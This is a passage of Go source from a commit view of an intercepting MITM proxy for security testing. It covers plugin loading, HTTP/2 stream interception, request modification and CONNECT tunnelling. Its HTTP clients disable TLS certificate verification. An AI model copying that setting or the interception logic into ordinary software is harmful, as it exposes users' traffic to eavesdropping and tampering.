Broadcast: newScopedBroadcast(manifest.Name, m.broadcast),
}
if err := safeInit(lp.ext, extCtx); err != nil {
info.Status = "error"
info.Error = fmt.Sprintf("init: %v", err)
m.allPlugins = append(m.allPlugins, info)
log.Printf("[plugins] %s init failed: %v", manifest.Name, err)
continue
}
// Categorize by type.
switch manifest.Type {
case sdk.TypeExecProvider:
ep, ok := lp.ext.(sdk.ExecProvider)
if !ok {
info.Status = "error"
info.Error = "does not implement ExecProvider interface"
} else {
m.execProviders[manifest.Name] = ep
if _, hasGraph := lp.ext.(sdk.GraphProvider); hasGraph {
info.HasGraph = true
}
}
case sdk.TypeTab:
tp, ok := lp.ext.(sdk.TabProvider)
if !ok {
info.Status = "error"
info.Error = "does not implement TabProvider interface"
} else {
m.tabProviders[manifest.Name] = tp
info.TabLabel = tp.TabInfo().Label
}
case sdk.TypeFeature:
fp, ok := lp.ext.(sdk.TabProvider)
if !ok {
info.Status = "error"
info.Error = "does not implement TabProvider interface"
} else {
m.features[manifest.Name] = fp
info.TabLabel = fp.TabInfo().Label
}
case sdk.TypeProxyHook:
ph, ok := lp.ext.(sdk.ProxyHook)
if !ok {
info.Status = "error"
info.Error = "does not implement ProxyHook interface"
} else {
m.proxyHooks = append(m.proxyHooks, ph)
}
case sdk.TypeDashboard:
dp, ok := lp.ext.(sdk.DashboardProvider)
if !ok {
info.Status = "error"
info.Error = "does not implement DashboardProvider interface"
} else if m.dashboard != nil {
info.Status = "error"
info.Error = "only one dashboard plugin can be active"
} else {
m.dashboard = dp
info.TabLabel = manifest.Name
}
case sdk.TypeInteractProvider:
ip, ok := lp.ext.(sdk.InteractProvider)
if !ok {
info.Status = "error"
info.Error = "does not implement InteractProvider interface"
} else {
m.interactProviders[manifest.Name] = ip
info.TabLabel = ip.Info().Label
}
}
m.allPlugins = append(m.allPlugins, info)
log.Printf("[plugins] loaded %s v%s (%s) [%s]", manifest.Name, manifest.Version, manifest.Type, lp.hash[:12])
}
return nil
}
// Shutdown calls Shutdown() on each loaded plugin with panic recovery.
func (m *Manager) Shutdown() {
m.mu.RLock()
defer m.mu.RUnlock()
for name, ep := range m.execProviders {
safeShutdown(name, ep)
}
for name, tp := range m.tabProviders {
safeShutdown(name, tp)
}
for name, fp := range m.features {
safeShutdown(name, fp)
}
for name, ip := range m.interactProviders {
safeShutdown(name, ip)
}
for _, ph := range m.proxyHooks {
safeShutdown(ph.Manifest().Name, ph)
}
if m.dashboard != nil {
safeShutdown(m.dashboard.Manifest().Name, m.dashboard)
}
}
// List returns info about all loaded plugins.
func (m *Manager) List() []PluginInfo {
m.mu.RLock()
defer m.mu.RUnlock()
out := make([]PluginInfo, len(m.allPlugins))
copy(out, m.allPlugins)
return out
}
// ExecProviders returns the loaded execution providers.
func (m *Manager) ExecProviders() map[string]sdk.ExecProvider {
m.mu.RLock()
defer m.mu.RUnlock()
return m.execProviders
}
// TabProviders returns the loaded top-level tab plugins.
func (m *Manager) TabProviders() map[string]sdk.TabProvider {
m.mu.RLock()
defer m.mu.RUnlock()
return m.tabProviders
}
// Features returns the loaded plugin features (sub-tabs).
func (m *Manager) Features() map[string]sdk.TabProvider {
m.mu.RLock()
defer m.mu.RUnlock()
return m.features
}
// InteractProviders returns the loaded Interact-tab OOB plugins.
func (m *Manager) InteractProviders() map[string]sdk.InteractProvider {
m.mu.RLock()
defer m.mu.RUnlock()
return m.interactProviders
}
// ProxyHooks returns the loaded proxy hooks in load order.
func (m *Manager) ProxyHooks() []sdk.ProxyHook {
m.mu.RLock()
defer m.mu.RUnlock()
return m.proxyHooks
}
// Dashboard returns the loaded dashboard plugin, or nil.
func (m *Manager) Dashboard() sdk.DashboardProvider {
m.mu.RLock()
defer m.mu.RUnlock()
return m.dashboard
}
// PluginDir returns the directory where plugin .so/.dylib files are stored.
func (m *Manager) PluginDir() string {
return m.pluginDir
}
// HasPlugins returns true if any plugins are loaded.
func (m *Manager) HasPlugins() bool {
m.mu.RLock()
defer m.mu.RUnlock()
return len(m.allPlugins) > 0
}
// GraphData collects network graph data from all connected ExecProviders that
// implement GraphProvider. Returns a map keyed by provider name.
func (m *Manager) GraphData(ctx context.Context) map[string]sdk.GraphInfo {
m.mu.RLock()
defer m.mu.RUnlock()
result := make(map[string]sdk.GraphInfo)
for name, ep := range m.execProviders {
gp, ok := ep.(sdk.GraphProvider)
if !ok || !ep.IsConnected() {
continue
}
info, err := safeGraphData(ctx, name, gp)
if err != nil {
log.Printf("[plugins] %s: graph data error: %v", name, err)
continue
}
result[name] = info
}
return result
}
// RunRequestHook chains all proxy hooks' OnRequest methods.
// Returns the (possibly modified) raw request, or nil to drop.
func (m *Manager) RunRequestHook(ctx context.Context, info sdk.RequestInfo, rawReq []byte) ([]byte, error) {
m.mu.RLock()
hooks := m.proxyHooks
m.mu.RUnlock()
current := rawReq
for _, hook := range hooks {
result, err := safeOnRequest(ctx, hook, info, current)
if err != nil {
log.Printf("[plugins] %s: request hook error: %v", hook.Manifest().Name, err)
continue // skip this hook, use current value
}
if result == nil {
return nil, nil // drop
}
current = result
}
return current, nil
}
// RunResponseHook chains all proxy hooks' OnResponse methods.
func (m *Manager) RunResponseHook(ctx context.Context, info sdk.RequestInfo, rawResp []byte) ([]byte, error) {
m.mu.RLock()
hooks := m.proxyHooks
m.mu.RUnlock()
current := rawResp
for _, hook := range hooks {
result, err := safeOnResponse(ctx, hook, info, current)
if err != nil {
log.Printf("[plugins] %s: response hook error: %v", hook.Manifest().Name, err)
continue
}
if result != nil {
current = result
}
}
return current, nil
}
// ---------------------------------------------------------------------------
// State persistence helpers
// ---------------------------------------------------------------------------
// allPluginsForState returns every currently loaded plugin keyed by name.
// Plugins appear once regardless of how many interfaces they satisfy.
func (m *Manager) allPluginsForState() map[string]sdk.Plugin {
m.mu.RLock()
defer m.mu.RUnlock()
out := make(map[string]sdk.Plugin)
for name, ep := range m.execProviders {
out[name] = ep
}
for name, tp := range m.tabProviders {
out[name] = tp
}
for name, fp := range m.features {
out[name] = fp
}
for name, ip := range m.interactProviders {
out[name] = ip
}
for _, ph := range m.proxyHooks {
out[ph.Manifest().Name] = ph
}
if m.dashboard != nil {
out[m.dashboard.Manifest().Name] = m.dashboard
}
return out
}
// ExportUserStates walks every loaded plugin and returns state bytes for those
// that implement sdk.UserStatefulPlugin. Plugins whose ExportUserState panics
// or errors are skipped with a log line; the returned map only contains
// successful exports.
func (m *Manager) ExportUserStates() map[string][]byte {
out := make(map[string][]byte)
for name, plug := range m.allPluginsForState() {
usp, ok := plug.(sdk.UserStatefulPlugin)
if !ok {
continue
}
data, err := safeExportUserState(usp)
if err != nil {
log.Printf("[plugins] %s: export user state: %v", name, err)
continue
}
out[name] = data
}
return out
}
// ApplyUserStates calls ImportUserState on each loaded UserStatefulPlugin whose
// name appears in states. Returns names that did not match a loaded
// UserStatefulPlugin so callers can preserve those blobs across round-trips.
func (m *Manager) ApplyUserStates(states map[string][]byte) []string {
loaded := m.allPluginsForState()
var unknown []string
for name, data := range states {
plug, ok := loaded[name]
if !ok {
unknown = append(unknown, name)
continue
}
usp, ok := plug.(sdk.UserStatefulPlugin)
if !ok {
// Plugin is loaded but doesn't opt in to user-scoped state —
// treat as unknown so the blob is preserved on re-save.
unknown = append(unknown, name)
continue
}
if err := safeImportUserState(usp, data); err != nil {
log.Printf("[plugins] %s: import user state: %v", name, err)
}
}
return unknown
}
// ExportProjectStates is the ProjectStatefulPlugin analogue of ExportUserStates.
func (m *Manager) ExportProjectStates() map[string][]byte {
out := make(map[string][]byte)
for name, plug := range m.allPluginsForState() {
psp, ok := plug.(sdk.ProjectStatefulPlugin)
if !ok {
continue
}
data, err := safeExportProjectState(psp)
if err != nil {
log.Printf("[plugins] %s: export project state: %v", name, err)
continue
}
out[name] = data
}
return out
}
// ApplyProjectStates is the ProjectStatefulPlugin analogue of ApplyUserStates.
func (m *Manager) ApplyProjectStates(states map[string][]byte) []string {
loaded := m.allPluginsForState()
var unknown []string
for name, data := range states {
plug, ok := loaded[name]
if !ok {
unknown = append(unknown, name)
continue
}
psp, ok := plug.(sdk.ProjectStatefulPlugin)
if !ok {
unknown = append(unknown, name)
continue
}
if err := safeImportProjectState(psp, data); err != nil {
log.Printf("[plugins] %s: import project state: %v", name, err)
}
}
return unknown
}
// ---------------------------------------------------------------------------
// Scoped broadcast channel
// ---------------------------------------------------------------------------
// scopedBroadcast wraps a broadcast channel to automatically prefix event types
// with "ext.{name}.", preventing plugins from spoofing built-in events.
type scopedBroadcast struct {
prefix string
inner chan<- any
}
func newScopedBroadcast(name string, inner chan<- any) chan<- sdk.Event {
sb := &scopedBroadcast{
prefix: "plugin." + name + ".",
inner: inner,
}
ch := make(chan sdk.Event, 64)
go func() {
for ev := range ch {
wsEvent := event.WSEvent{
Type: sb.prefix + ev.Type,
Data: ev.Data,
}
select {
case sb.inner <- wsEvent:
default:
}
}
}()
return ch
}
// ---------------------------------------------------------------------------
// Panic-safe wrappers
// ---------------------------------------------------------------------------
func safeInit(ext sdk.Plugin, ctx sdk.PluginContext) (err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return ext.Init(ctx)
}
func safeShutdown(name string, ext sdk.Plugin) {
defer func() {
if r := recover(); r != nil {
log.Printf("[plugins] %s: shutdown panic: %v", name, r)
}
}()
if err := ext.Shutdown(); err != nil {
log.Printf("[plugins] %s: shutdown error: %v", name, err)
}
}
func safeGraphData(ctx context.Context, name string, gp sdk.GraphProvider) (info sdk.GraphInfo, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return gp.GraphData(ctx), nil
}
func safeOnRequest(ctx context.Context, hook sdk.ProxyHook, info sdk.RequestInfo, rawReq []byte) (result []byte, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return hook.OnRequest(ctx, info, rawReq)
}
func safeOnResponse(ctx context.Context, hook sdk.ProxyHook, info sdk.RequestInfo, rawResp []byte) (result []byte, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return hook.OnResponse(ctx, info, rawResp)
}
func safeExportUserState(p sdk.UserStatefulPlugin) (data []byte, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return p.ExportUserState()
}
func safeImportUserState(p sdk.UserStatefulPlugin, data []byte) (err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return p.ImportUserState(data)
}
func safeExportProjectState(p sdk.ProjectStatefulPlugin) (data []byte, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return p.ExportProjectState()
}
func safeImportProjectState(p sdk.ProjectStatefulPlugin, data []byte) (err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic: %v", r)
}
}()
return p.ImportProjectState(data)
}
+68
View File
@@ -0,0 +1,68 @@
package proxy
import (
"context"
"crypto/tls"
"io"
"net/http"
"net/url"
"time"
)
// NewHTTPClient creates an http.Client that optionally routes through a proxy.
// proxyURL may be empty for no proxy. tc may be nil for sensible defaults.
func NewHTTPClient(proxyURL string, tc *TransportConfig) http.Client {
var transport *http.Transport
if tc != nil {
// Clone settings from the TransportConfig but create a new transport
// so we can safely set a proxy without mutating the shared one.
transport = &http.Transport{
ForceAttemptHTTP2: tc.HTTP2(),
DisableKeepAlives: !tc.KeepAlive(),
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //nolint:gosec
DialContext: tc.SOCKSDialContext(),
}
} else {
transport = &http.Transport{
ForceAttemptHTTP2: true,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //nolint:gosec
}
}
if proxyURL != "" && proxyURL != "NOPROXY" {
if u, err := url.Parse(proxyURL); err == nil {
transport.Proxy = http.ProxyURL(u)
}
}
return http.Client{
Transport: transport,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
// MakeRequest performs an HTTP request using the provided client with a configurable timeout.
func MakeRequest(method, target string, timeout int64, body io.Reader, client http.Client) ([]byte, string, int, error) {
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, method, target, body)
if err != nil {
return nil, "", 0, err
}
resp, err := client.Do(req)
if err != nil {
return nil, "", 0, err
}
defer resp.Body.Close()
bodyBytes, err := io.ReadAll(resp.Body)
if err != nil {
return nil, "", 0, err
}
return bodyBytes, string(bodyBytes), resp.StatusCode, nil
}
+131
View File
@@ -0,0 +1,131 @@
package proxy
import (
"bytes"
"io"
"net/http"
"net/url"
"slices"
"sync"
)
// CustomAddition defines a single piece of data to inject into requests.
type CustomAddition struct {
ID string `json:"id"`
Type string `json:"type"` // "header", "query", "body"
Name string `json:"name"`
Value string `json:"value"`
}
// CustomData manages a set of additive request modifications.
type CustomData struct {
mu sync.RWMutex
enabled bool
items []CustomAddition
}
// NewCustomData creates a disabled CustomData with no items.
func NewCustomData() *CustomData {
return &CustomData{}
}
// IsEnabled reports whether custom data injection is active.
func (cd *CustomData) IsEnabled() bool {
cd.mu.RLock()
defer cd.mu.RUnlock()
return cd.enabled
}
// SetEnabled enables or disables custom data injection.
func (cd *CustomData) SetEnabled(enabled bool) {
cd.mu.Lock()
defer cd.mu.Unlock()
cd.enabled = enabled
}
// Items returns a copy of the current items.
func (cd *CustomData) Items() []CustomAddition {
cd.mu.RLock()
defer cd.mu.RUnlock()
out := make([]CustomAddition, len(cd.items))
copy(out, cd.items)
return out
}
// SetItems replaces all custom data items.
func (cd *CustomData) SetItems(items []CustomAddition) {
cd.mu.Lock()
defer cd.mu.Unlock()
cd.items = items
}
// AddItem adds a new item with a generated ID. Returns the item.
func (cd *CustomData) AddItem(typ, name, value string) CustomAddition {
item := CustomAddition{
ID: GenerateID(),
Type: typ,
Name: name,
Value: value,
}
cd.mu.Lock()
defer cd.mu.Unlock()
cd.items = append(cd.items, item)
return item
}
// RemoveItem deletes an item by ID. Returns true if found.
func (cd *CustomData) RemoveItem(id string) bool {
cd.mu.Lock()
defer cd.mu.Unlock()
for i, item := range cd.items {
if item.ID == id {
cd.items = append(cd.items[:i], cd.items[i+1:]...)
return true
}
}
return false
}
// applyCustomData applies custom data additions to an *http.Request.
func applyCustomData(cd *CustomData, r *http.Request) *http.Request {
if cd == nil || !cd.IsEnabled() {
return r
}
cd.mu.RLock()
items := make([]CustomAddition, len(cd.items))
copy(items, cd.items)
cd.mu.RUnlock()
for _, item := range items {
switch item.Type {
case "header":
if !slices.Contains(r.Header.Values(item.Name), item.Value) {
r.Header.Add(item.Name, item.Value)
}
case "query":
existing := r.URL.Query()
if !slices.Contains(existing[item.Name], item.Value) {
param := url.QueryEscape(item.Name) + "=" + url.QueryEscape(item.Value)
if r.URL.RawQuery == "" {
r.URL.RawQuery = param
} else {
r.URL.RawQuery = r.URL.RawQuery + "&" + param
}
}
case "body":
var bodyBytes []byte
if r.Body != nil {
bodyBytes, _ = io.ReadAll(r.Body)
r.Body.Close()
}
if !bytes.Contains(bodyBytes, []byte(item.Value)) {
bodyBytes = append(bodyBytes, []byte(item.Value)...)
}
r.Body = io.NopCloser(bytes.NewReader(bodyBytes))
r.ContentLength = int64(len(bodyBytes))
}
}
return r
}
+384
View File
@@ -0,0 +1,384 @@
package proxy
import (
"bytes"
"crypto/tls"
"fmt"
"io"
"net/http"
"sort"
"strconv"
"strings"
"github.com/BishopFox/joro/sdk"
"golang.org/x/net/http2"
)
// serveH2 dispatches an HTTP/2 connection by handing it to golang.org/x/net/http2's
// server, which decodes streams and invokes h.h2Stream for each request.
func (h *Handler) serveH2(tlsConn *tls.Conn, hostname, hostPort string) {
srv := &http2.Server{}
srv.ServeConn(tlsConn, &http2.ServeConnOpts{
Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
h.h2Stream(w, r, hostname, hostPort)
}),
})
}
// h2Stream runs the proxy pipeline for a single HTTP/2 stream. The request and
// response are exchanged in HTTP/2 frames with the browser; the upstream call
// goes through the protocol-aware sender so HTTP/2 is preserved end-to-end.
func (h *Handler) h2Stream(w http.ResponseWriter, r *http.Request, hostname, hostPort string) {
if r.URL.Scheme == "" {
r.URL.Scheme = "https"
}
if r.URL.Host == "" {
r.URL.Host = urlHostWithPort(hostPort, "https")
}
r.RequestURI = ""
bodyBytes, _ := io.ReadAll(r.Body)
r.Body.Close()
r.Body = io.NopCloser(bytes.NewReader(bodyBytes))
// Match the h1 path: strip Accept-Encoding so the upstream returns
// uncompressed bodies that capture cleanly and render as text in the UI.
r.Header.Del("Accept-Encoding")
rawReq := dumpH2Request(r, bodyBytes)
id := GenerateID()
start := timeNow()
if h.intercept.IsEnabled() {
h.emit(eventInterceptQueued(id, r.Method, r.URL.String(), hostname, "HTTP/2", rawReq))
decision, _ := h.intercept.Pause(id, r.Method, r.URL.String(), hostname, "HTTP/2", rawReq)
h.emit(eventInterceptResolved(id, decision.Action))
if decision.Action == ActionDrop {
http.Error(w, "request dropped by intercept", http.StatusForbidden)
return
}
if len(decision.ReqData) > 0 {
rawReq = decision.ReqData
}
}
if h.replace != nil && h.replace.IsEnabled() {
rawReq = applyRequestReplaceRaw(h.replace, rawReq)
}
rawReq = applyCustomDataRaw(h.customData, rawReq)
if h.hookRunner != nil {
hookInfo := sdk.RequestInfo{ID: id, Method: r.Method, URL: r.URL.String(), Host: hostname}
modified, hookErr := h.hookRunner.RunRequestHook(r.Context(), hookInfo, rawReq)
if hookErr == nil && modified == nil {
http.Error(w, "request dropped by plugin", http.StatusForbidden)
return
}
if hookErr == nil && modified != nil {
rawReq = modified
}
}
scheme := r.URL.Scheme
host := r.URL.Host
if h.transport != nil && h.transport.HTTP2() {
// h2Cache could be plumbed through Handler if reuse becomes important;
// per-stream fresh transports are fine for proxy traffic since the
// http2.Transport caches connections internally per host.
}
res, err := SendRawRequest(r.Context(), rawReq, scheme, host, SendOptions{
Decompress: false,
}, h.transport)
if err != nil {
http.Error(w, "upstream error: "+err.Error(), http.StatusBadGateway)
captured := buildUpstreamErrorCapture(id, start, r.Method, r.URL.String(), hostname, "HTTP/2", rawReq, err.Error())
h.store.Add(captured)
h.emit(eventRequestCaptured(captured))
return
}
resp := res.Response
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
resp.Body = io.NopCloser(bytes.NewReader(respBody))
if h.replace != nil && h.replace.IsEnabled() && h.replace.HasResponseRules() {
stripped := stripResponseHopHeaders(resp)
newHeaders, newBody := applyResponseReplaceRaw(h.replace, stripped, respBody)
copyHeadersToWriter(w, newHeaders)
w.WriteHeader(resp.StatusCode)
w.Write(newBody) //nolint:errcheck
respBody = newBody
resp.Header = newHeaders
} else {
stripHopHeaders(resp)
copyHeadersToWriter(w, resp.Header)
w.WriteHeader(resp.StatusCode)
w.Write(respBody) //nolint:errcheck
}
rawResp := dumpH2Response(resp, respBody)
if h.hookRunner != nil {
hookInfo := sdk.RequestInfo{ID: id, Method: r.Method, URL: r.URL.String(), Host: hostname}
if modified, hookErr := h.hookRunner.RunResponseHook(r.Context(), hookInfo, rawResp); hookErr == nil && modified != nil {
rawResp = modified
}
}
duration := timeSince(start)
captured := &CapturedRequest{
ID: id,
Timestamp: start,
Method: r.Method,
URL: r.URL.String(),
Host: hostname,
Protocol: "HTTP/2",
StatusCode: resp.StatusCode,
ContentType: resp.Header.Get("Content-Type"),
Duration: duration,
ResponseSize: len(rawResp),
ReqRaw: rawReq,
RespRaw: rawResp,
}
h.store.Add(captured)
h.emit(eventRequestCaptured(captured))
}
// dumpH2Request serializes an h2 *http.Request as HTTP/1-syntax text with
// "HTTP/2" in the request line. This is the synthetic representation operators
// see in the History/Intercept/Manipulate UIs.
//
// Headers are emitted in canonical case and alphabetical order so the same
// request renders identically across views. Content-Length is always written
// based on the actual body length so that re-parsing the synthesized bytes via
// http.ReadRequest preserves the body.
func dumpH2Request(r *http.Request, body []byte) []byte {
var buf bytes.Buffer
target := r.URL.RequestURI()
if target == "" {
target = "/"
}
fmt.Fprintf(&buf, "%s %s HTTP/2\r\n", r.Method, target)
if r.Host != "" {
fmt.Fprintf(&buf, "Host: %s\r\n", r.Host)
}
keys := make([]string, 0, len(r.Header))
for k := range r.Header {
canonical := http.CanonicalHeaderKey(k)
switch canonical {
case "Host", "Content-Length":
continue
}
if strings.HasPrefix(k, ":") { // defensive: pseudo-headers should be filtered by net/http2
continue
}
keys = append(keys, canonical)
}
sort.Strings(keys)
for _, k := range keys {
for _, v := range r.Header.Values(k) {
fmt.Fprintf(&buf, "%s: %s\r\n", k, v)
}
}
if len(body) > 0 || requestMethodHasBody(r.Method) {
fmt.Fprintf(&buf, "Content-Length: %d\r\n", len(body))
}
buf.WriteString("\r\n")
buf.Write(body)
return buf.Bytes()
}
// requestMethodHasBody reports whether the method conventionally carries a
// request body (so Content-Length: 0 is meaningful even for empty bodies).
func requestMethodHasBody(method string) bool {
switch strings.ToUpper(method) {
case "POST", "PUT", "PATCH", "DELETE":
return true
}
return false
}
// dumpH2Response synthesizes an HTTP/2-tagged response dump. h2 has no textual
// status line on the wire; this output is for display only.
func dumpH2Response(resp *http.Response, body []byte) []byte {
var buf bytes.Buffer
statusText := resp.Status
if statusText == "" {
statusText = strconv.Itoa(resp.StatusCode) + " " + http.StatusText(resp.StatusCode)
}
fmt.Fprintf(&buf, "HTTP/2 %s\r\n", statusText)
for k, vs := range resp.Header {
for _, v := range vs {
fmt.Fprintf(&buf, "%s: %s\r\n", k, v)
}
}
buf.WriteString("\r\n")
buf.Write(body)
return buf.Bytes()
}
// applyRequestReplaceRaw applies request_header / request_body match-replace
// rules to raw HTTP request bytes (synthetic for h2). Header/body split is on
// the first \r\n\r\n; fall back to \n\n.
func applyRequestReplaceRaw(mr *MatchReplace, raw []byte) []byte {
sep := []byte("\r\n\r\n")
idx := bytes.Index(raw, sep)
if idx < 0 {
sep = []byte("\n\n")
idx = bytes.Index(raw, sep)
if idx < 0 {
return raw
}
}
headers := mr.Apply("request_header", raw[:idx])
body := mr.Apply("request_body", raw[idx+len(sep):])
out := make([]byte, 0, len(headers)+4+len(body))
out = append(out, headers...)
out = append(out, []byte("\r\n\r\n")...)
out = append(out, body...)
return out
}
// applyResponseReplaceRaw applies response_header / response_body rules to a
// pre-stripped header set and body, returning the modified header map and body.
func applyResponseReplaceRaw(mr *MatchReplace, headers http.Header, body []byte) (http.Header, []byte) {
// Render headers, run header rules, parse back.
var hbuf bytes.Buffer
for k, vs := range headers {
for _, v := range vs {
fmt.Fprintf(&hbuf, "%s: %s\r\n", k, v)
}
}
rendered := mr.Apply("response_header", hbuf.Bytes())
parsed := parseHeaderBlock(rendered)
newBody := mr.Apply("response_body", body)
if parsed.Get("Content-Length") != "" {
parsed.Set("Content-Length", strconv.Itoa(len(newBody)))
}
return parsed, newBody
}
// applyCustomDataRaw applies CustomData additions to raw HTTP/2 request bytes.
func applyCustomDataRaw(cd *CustomData, raw []byte) []byte {
if cd == nil || !cd.IsEnabled() {
return raw
}
items := cd.Items()
if len(items) == 0 {
return raw
}
sep := []byte("\r\n\r\n")
idx := bytes.Index(raw, sep)
if idx < 0 {
return raw
}
// Copy out of raw so subsequent appends don't alias and overwrite the
// separator + body that still live in raw's underlying array.
headerBlock := append([]byte(nil), raw[:idx]...)
body := append([]byte(nil), raw[idx+len(sep):]...)
bodyMutated := false
for _, item := range items {
switch item.Type {
case "header":
full := fmt.Sprintf("%s: %s", item.Name, item.Value)
if !bytes.Contains(headerBlock, []byte(full)) {
headerBlock = append(headerBlock, '\r', '\n')
headerBlock = append(headerBlock, full...)
}
case "body":
if !bytes.Contains(body, []byte(item.Value)) {
body = append(body, []byte(item.Value)...)
bodyMutated = true
}
case "query":
// Mutate request line: METHOD path?query HTTP/2
lineEnd := bytes.IndexAny(headerBlock, "\r\n")
if lineEnd < 0 {
continue
}
parts := bytes.Fields(headerBlock[:lineEnd])
if len(parts) < 3 {
continue
}
pathPart := parts[1]
joiner := "?"
if bytes.Contains(pathPart, []byte("?")) {
joiner = "&"
}
updated := append([]byte{}, pathPart...)
updated = append(updated, []byte(joiner+item.Name+"="+item.Value)...)
rebuilt := bytes.Join([][]byte{parts[0], updated, parts[2]}, []byte(" "))
headerBlock = append(rebuilt, headerBlock[lineEnd:]...)
}
}
out := make([]byte, 0, len(headerBlock)+4+len(body))
out = append(out, headerBlock...)
out = append(out, []byte("\r\n\r\n")...)
out = append(out, body...)
if bodyMutated {
out = UpdateContentLength(out)
}
return out
}
// parseHeaderBlock parses a CRLF-separated header section back into http.Header.
func parseHeaderBlock(raw []byte) http.Header {
h := http.Header{}
for _, line := range bytes.Split(raw, []byte("\r\n")) {
if len(line) == 0 {
continue
}
idx := bytes.IndexByte(line, ':')
if idx <= 0 {
continue
}
key := string(bytes.TrimSpace(line[:idx]))
val := string(bytes.TrimSpace(line[idx+1:]))
h.Add(key, val)
}
return h
}
// stripResponseHopHeaders is a non-mutating variant of stripHopHeaders that
// returns a cleaned http.Header copy (used when we want to apply response rules
// before writing to the client).
func stripResponseHopHeaders(resp *http.Response) http.Header {
out := http.Header{}
skip := map[string]struct{}{
"Connection": {}, "Keep-Alive": {}, "Proxy-Authenticate": {}, "Proxy-Authorization": {},
"Te": {}, "Trailer": {}, "Transfer-Encoding": {}, "Upgrade": {}, "Alt-Svc": {},
}
for k, vs := range resp.Header {
if _, drop := skip[http.CanonicalHeaderKey(k)]; drop {
continue
}
for _, v := range vs {
out.Add(k, v)
}
}
return out
}
// copyHeadersToWriter writes h to w.Header(). Skips headers the http2.Server
// will set itself.
func copyHeadersToWriter(w http.ResponseWriter, h http.Header) {
for k, vs := range h {
// http2.responseWriter manages these.
switch http.CanonicalHeaderKey(k) {
case "Content-Length", "Date":
continue
}
for _, v := range vs {
w.Header().Add(k, v)
}
}
}
+275
View File
@@ -0,0 +1,275 @@
package proxy
import (
"context"
"io"
"net"
"net/http"
"strings"
"time"
"github.com/BishopFox/joro/internal/cert"
"github.com/BishopFox/joro/sdk"
)
// HookRunner is implemented by the plugin manager to run proxy pipeline hooks.
type HookRunner interface {
RunRequestHook(ctx context.Context, info sdk.RequestInfo, rawReq []byte) ([]byte, error)
RunResponseHook(ctx context.Context, info sdk.RequestInfo, rawResp []byte) ([]byte, error)
}
// Handler is the main http.Handler for the intercepting proxy.
// It routes CONNECT requests to the MITM engine and plain HTTP to the forwarder.
type Handler struct {
certCache *cert.Cache
store *Store
intercept *InterceptQueue
scope *Scope
noise *NoiseFilter
replace *MatchReplace
customData *CustomData
transport *TransportConfig
wsStore *WSStore
broadcast chan<- any
hookRunner HookRunner // nil when no proxy hook plugins are loaded
}
// NewHandler creates a proxy Handler.
func NewHandler(certCache *cert.Cache, store *Store, intercept *InterceptQueue, scope *Scope, noise *NoiseFilter, replace *MatchReplace, customData *CustomData, transport *TransportConfig, wsStore *WSStore, broadcast chan<- any) *Handler {
return &Handler{
certCache: certCache,
store: store,
intercept: intercept,
scope: scope,
noise: noise,
replace: replace,
customData: customData,
transport: transport,
wsStore: wsStore,
broadcast: broadcast,
}
}
// SetHookRunner sets the plugin hook runner for proxy pipeline hooks.
func (h *Handler) SetHookRunner(hr HookRunner) {
h.hookRunner = hr
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodConnect {
h.handleConnect(w, r)
} else {
h.handleHTTP(w, r)
}
}
// handleConnect processes HTTPS CONNECT tunnelling.
func (h *Handler) handleConnect(w http.ResponseWriter, r *http.Request) {
host := r.Host
if !strings.Contains(host, ":") {
host += ":443"
}
hijacker, ok := w.(http.Hijacker)
if !ok {
http.Error(w, "hijacking not supported", http.StatusInternalServerError)
return
}
// Acknowledge the CONNECT before hijacking. Set Content-Length to
// prevent Go's server from adding Transfer-Encoding: chunked, which
// violates RFC 9110 §9.3.6 for CONNECT responses.
w.Header().Set("Content-Length", "0")
w.WriteHeader(http.StatusOK)
clientConn, _, err := hijacker.Hijack()
if err != nil {
return
}
hostname := strings.Split(host, ":")[0]
if h.noise.IsNoisy(hostname) || !h.scope.HostInScope(hostname) {
go h.tunnel(clientConn, host)
return
}
go h.mitm(clientConn, hostname, host)
}
// tunnel passes raw TCP traffic without MITM for out-of-scope hosts.
func (h *Handler) tunnel(clientConn net.Conn, host string) {
defer clientConn.Close()
var upstream net.Conn
var err error
if dialCtx := h.transport.SOCKSDialContext(); dialCtx != nil {
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
upstream, err = dialCtx(ctx, "tcp", host)
} else {
upstream, err = net.DialTimeout("tcp", host, 10*time.Second)
}
if err != nil {
return
}
defer upstream.Close()
go io.Copy(upstream, clientConn) //nolint:errcheck
io.Copy(clientConn, upstream) //nolint:errcheck
}
// handleHTTP processes plain (non-CONNECT) HTTP proxy requests.
func (h *Handler) handleHTTP(w http.ResponseWriter, r *http.Request) {
// Remove proxy-specific headers.
r.Header.Del("Proxy-Connection")
r.RequestURI = ""
if h.noise.IsNoisy(r.Host) || !h.scope.InScope(r.Host, r.Method, r.URL.Path) {
transport := h.transport.Transport()
resp, err := transport.RoundTrip(r)
if err != nil {
http.Error(w, "upstream error: "+err.Error(), http.StatusBadGateway)
return
}
defer resp.Body.Close()
for k, vv := range resp.Header {
for _, v := range vv {
w.Header().Add(k, v)
}
}
w.WriteHeader(resp.StatusCode)
copyBody(w, resp.Body)
return
}
id := GenerateID()
// WebSocket upgrade: branch into WS relay.
if isWebSocketUpgrade(r) {
h.handleWSUpgradeHTTP(w, r, id)
return
}
start := timeNow()
rawReq, _ := dumpRequest(r, true)
if h.intercept.IsEnabled() {
